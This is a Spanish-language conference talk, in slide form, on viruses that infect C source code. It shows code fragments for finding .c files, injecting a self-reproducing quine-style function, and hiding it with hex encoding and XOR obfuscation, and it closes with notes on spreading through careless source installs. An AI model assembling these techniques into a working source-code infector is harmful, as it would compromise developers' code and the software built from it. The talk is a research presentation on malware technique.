

Use the source, Luke!



zert, zert@int80h.net
ucon 0x07

Breve repaso a la scene vírica

- **win32:**
 - **muchos gusanos (worms):**
 - la mayoría con una implementación lamentable, aprovechando exploits ya publicados.
 - algunos basados en exploits públicos pero con una buena implementación (ej. Slammer).
 - **virus:**
 - casi todos en ambientes "e-zineros".
 - implementan novedades, aunque no suelen ser la revolución.

Breve repaso a la scene vírica

- **.Net:**
 - de momento nadie ha hincado el diente de verdad, pequeñas pruebas de concepto.
 - Los metadatos complican mucho la infección -> ¿Reflection?
 - Multiplataforma: MS.Net / Mono.
- **Linux / BSD / Unix**
 - pruebas de concepto.
 - poco progreso desde los textos de Silvio Cesare.
 - normalmente no resisten a un análisis sencillo (sin EPO, no resistentes a strip...).
 - reseñables: Lotek o Nuxbee.

Algunas líneas de investigación

- **Win32:**
 - El polimorfismo está ya muy trillado -> metamorfismo -> posibilidad de kernel panic cerebral.
 - Nuevos fallos, nuevas técnicas -> ¿shatters? -> suelen ser muy "visuales".
- **.Net:**
 - Todo por hacer.

Algunas líneas de investigación

- **Unix:**
 - **Los virus no son una amenaza, razones:**
 - **el perfil de los usuarios es muy diferente**
 - > **fomentar GH, OT, etc. entre unix-lovers.**
 - **casi nadie intercambia binarios**
 - > **¿infectar código fuente?**

Infectar código fuente, antecedentes

- **DOS/Urphin:**
 - **Residente (TSR) que esperaba la ejecución de tpc.exe (Turbo Pascal Compiler).**
 - **Introducía un volcado hexadecimal de su código en el .PAS después del Begin.**
 - **El tpc.exe generaba un binario infectado.**
 - **El virus limpiaba el .PAS al terminar.**
- **Die-Hard y la familia SrcVir**
 - **Comportamiento similar al Urphin.**
 - **Infectaban .PAS y .ASM además de COMs y EXEs.**

Infectar código fuente, antecedentes

- **Infectores de objetos y librerías**
 - **Infectan .OBJ y .LIB.**
 - **Los ficheros infectados funcionan sólo como portadores, a la espera de que un ejecutable enlace contra ellos.**
 - **Mientras tanto están en una especie de estado "latente".**
- **Cualquier virus en cualquier lenguaje interpretado.**
 - **Shell scripting.**
 - **Perl.**
 - **...**

Diferentes aproximaciones

a) mediante ensamblador embebido

```
int virus()  
{  
    __asm__(  
        "pusha\n\t"  
        "call 0x8048086\n\t"  
        "[...]"  
        "mov $0x1,%%eax\n\t"  
        "int $0x80"  
    );  
}
```

Diferentes aproximaciones

a) mediante ensamblador embebido

- **Dos opciones:**
 - **Para obtener los strings ("pusha"...) nos desensamblamos.**
 - **Volcado hexadecimal del código (más cantoso).**

Diferentes aproximaciones

a) mediante ensamblador embebido

- **Pros:**

- No hay que comerse demasiado la cabeza, está casi todo hecho ya, sólo hay que juntar las piezas.
- Seguimos programando en ensamblador, controlando cada detalle.

- **Contras:**

- No es precisamente "discreto".
- Al ser ensamblador, no es multiplataforma inherente a la mayoría del código fuente.
- Si nos desensamblamos, el proceso de desensamblado puede ser demasiado engorroso en ocasiones.

Diferentes aproximaciones

b) mediante "quines"

Un "quine" es un programa que genera su propio código fuente **sin** leerse a sí mismo. Se han hecho concursos internacionales de programación de estos curiosos programitas, todos ellos en un ambiente ultra-freak, claro está.

Diferentes aproximaciones

b) mediante "quines"

¿Cómo? Intentemos hacer uno en C...

```
#include <stdio.h>
```

```
int main(int argc, char *argv[])
```

```
{
```

```
    printf("#include <stdio.h>\n\nint main(int  
argc, char *argv[])\n{\n\tprintf(\"... ¿?¿?¿?")
```

Bien, esta claro que este enfoque no vale :-D

Diferentes aproximaciones

b) mediante "quines"

Existen varios enfoques para solventar esto.

La más cómoda es la que explicó Ken Thompson, la idea principal es tener el código fuente en un array de chars para poder hacer lo siguiente:

```
printf("char array[] = \"%s\";" array);
```

¡Infectando!

Para infectar realizaremos un procedimiento típico:

1) Buscar posibles víctimas:

```
struct dirent *dir; DIR *d;

d = opendir(".");
while((dir = readdir(d))>0)
    if(!(strcmp(dir->d_name+strlen(dir->d_name)-
2, ".c")) || !(strcmp(dir->d_name+strlen(dir->d_name)-
2, ".C")))
```

¡Infectando!

2) Víctima encontrada, ¿es infectable?

- ¿esta infectada ya?
-> marcas de infección.
- ¿tiene función main()?
-> mmap() del fichero y strstr() a saco.

¡Infectando!

3) Es infectable, a infectar.

- **Nuestro virus realmente no es un quine, es algo parecido:**
 - **hay que meter cierta "cabecera":**
 - **la declaración de la función vírica.**
 - **posibles includes que necesitemos para que funcione.**
 - **hay que meter la llamada a la función vírica dentro del código ejecutable huesped:**
 - **justo después de la primera llamada a una función en el main(), por ejemplo.**
 - **posibles mejoras en este sentido (¿EPO de código fuente? :-D).**

¡Infectando!

3) Es infectable, a infectar.

- **Nuestro virus realmente no es un quine, es algo parecido:**
 - **para facilitar las cosas, el código de la función vírica va al final:**
 - **el enfoque de Ken Thompson repetido tantas veces como fragmentos de código hemos injertado.**

Jugando con arrays

- Ken Thompson utilizó una sintaxis bastante clara para el array de su quine:

```
char s[] = {  
    'm',  
    'a',  
    'i',  
    'n',  
    '(',  
    ')',  
    ...  
    0 };
```

- Problemas
 - Es demasiado obvio.
 - Ocupa muchísimo.

Jugando con arrays

- Podemos cambiar los chars por su notación hexadecimal:

```
char s[] = {  
    0x6D, 0x61, 0x69, 0x6E, 0x28, 0x29, 0x20, 0x7B,  
    0x0D, 0x0A, 0x69, 0x6E, 0x74, 0x20, 0x69, 0x3B,  
    0x0D, 0x0A, 0x09, 0x70, 0x72, 0x69, 0x6E, 0x74,  
    0x66, 0x28, 0x22, 0x63, 0x68, 0x61, 0x72, 0x20,  
    ... 0 };
```

- Problemas:
 - Ocupa incluso más en el código fuente.
 - Parece un shellcode :-D

Jugando con arrays

- Podemos quitar la redundancia de "0xXX, "...

```
char s[] = "6D61696E2829207B0D0A69...";
```

- Lo convertimos a texto fácilmente:

```
int i;  
char nibblechar, nibble[2];  
  
for(i=0; i<strlen(s); i+=2) {  
    nibble[0] = s[i];  
    nibble[1] = s[i+1];  
    sscanf(nibble, "%02X", &nibblechar);  
    printf("%c", nibblechar);  
}
```

Jugando con arrays

- Podemos quitar la redundancia de "0xXX, "...

```
char s[] = "6D61696E2829207B0D0A69...";
```

- Problemas:
 - Los strings siguen ocupando muchísimo.

Jugando con arrays

- ¿Por qué guardar 2 bytes para cada byte original? Podríamos utilizar un format string (sólo los caracteres de escape ocupan 2 bytes)...

```
char hashinc[] = "\n#include <stdio.h>\n#include  
<sys/stat.h>\n#include <sys/mman.h>\n#include  
<unistd.h>\n#include <dirent.h>\n#include  
<fcntl.h>\n\nvoid init_hash();\n";
```

- Problemas:
 - ¡¡se ve el código!!

Jugando con arrays

- XORreamos el format string con 80h, así no se ve tan fácil:

```
char hashinc[] =
"~Jféîãîõääå1/4óôäéï(r)è3/4~Jféîãîõääå1/4óùó´óôáô(r)è
3/4~Jféîãîõääå1/4óùó´ííáî(r)è3/4~Jféîãîõääå1/4õîéóôä(
r)è3/4~Jféîãîõääå1/4äéòåîô(r)è3/4~Jféîãîõääå1/4æãîôì(
r)è3/4~J~Jöïéä éîéôßèáóè"(c) " ~J"
```

- Problemas:
 - el código ya no es imprimible

Jugando con arrays

- XORreamos el format string con 80h, así no se ve tan fácil:

```
char hashinc[] =  
"~Jféîãîõääå1/4óôäéï(r)è3/4~Jféîãîõääå1/4óùó´óôáô(r)è  
3/4~Jféîãîõääå1/4óùó´ííáî(r)è3/4~Jféîãîõääå1/4õîéóôä(  
r)è3/4~Jféîãîõääå1/4äéòåîô(r)è3/4~Jféîãîõääå1/4æãîôî(  
r)è3/4~J~Jöïéä éîéôßèáóè"(c)" ~J"
```

- Ventajas:
 - ocupa igual que el anterior y no se ve a simple vista.
 - oligomorfismo (polimorfismo sencillo): XORrear con cualquier cosa entre 80h y FFh cada vez.

Posibles mejoras

- **Utilizar enfoques "estándar" para el paso de binario a imprimible:**
 - **uuencode/uudecode**
 - **base64**
 - **yenc (optimización de los anteriores).**
- **Compresión de los arrays.**
- **Ofuscación del código.**

Conclusiones

- ¿Es esto una amenaza real?

NO, pero podría colar en muchos entornos, incluso gente experimentada ha hecho alguna vez...

```
wget http://www.wlan-ninja.tk/sniffers/wlanthrax-0.6.9.tar.gz
tar xzf wlanthrax-0.6.9.tar.gz
cd wlanthrax-0.6.9
./configure
make
make install
```

- casi sin pensar.

Conclusiones

- **Incluso sin el "make install" y haciéndolo como root se podrían conseguir cosas:**
 - **infectar todos los .C a los que tengamos acceso**
 - **probar exploits locales (poco recomendable)**
 - **¿ptrace a la bash actual?**
-> nueva vía de exploración.

Gracias ;-)

- Dudas, comentarios, sugerencias...

zert@int80h.net

- Insultos...

root@127.0.0.1

be zen ;-)